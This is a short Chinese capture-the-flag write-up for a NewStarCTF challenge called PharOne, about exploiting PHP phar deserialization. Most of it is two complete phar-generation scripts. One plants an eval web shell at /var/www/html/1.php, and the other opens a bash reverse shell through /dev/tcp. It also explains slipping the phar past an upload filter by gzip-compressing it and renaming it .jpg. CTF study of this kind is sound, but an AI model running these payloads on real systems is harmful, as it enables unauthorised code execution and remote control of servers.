首先进入后查看源码
进入class.php
看见unlike很明显是一个phar反序列化的利用
我们有两种选择
一
一句话木马
<?php
class Flag{
public $cmd;
}
$a=new Flag();
$a->cmd="echo \"<?=@eval(\\\$_POST['a']);\">/var/www/html/1.php";
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("b.txt", "666");
$phar->stopBuffering();
但是直接上传会被过滤我们可以将其先gzip压缩再改为jpg文件然后上传
之后去
file=phar://upload/9e32fd5eb93d0766e32d9e33cc3ef2d5.jpg
再去访问1.php执行命令即可
也可以进行反弹shall
<?php
class Flag{
public $cmd;
}
$a=new Flag();
$a->cmd="bash -c 'bash -i >& /dev/tcp/ip/端口 0>&1'";
$phar = new Phar("a.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($a);
$phar->addFromString("b.txt", "666");
$phar->stopBuffering();
标签:WEB,txt,NewStarCTF,666,phar,jpg,setStub,PharOne,php
From: https://www.cnblogs.com/dghh/p/18338451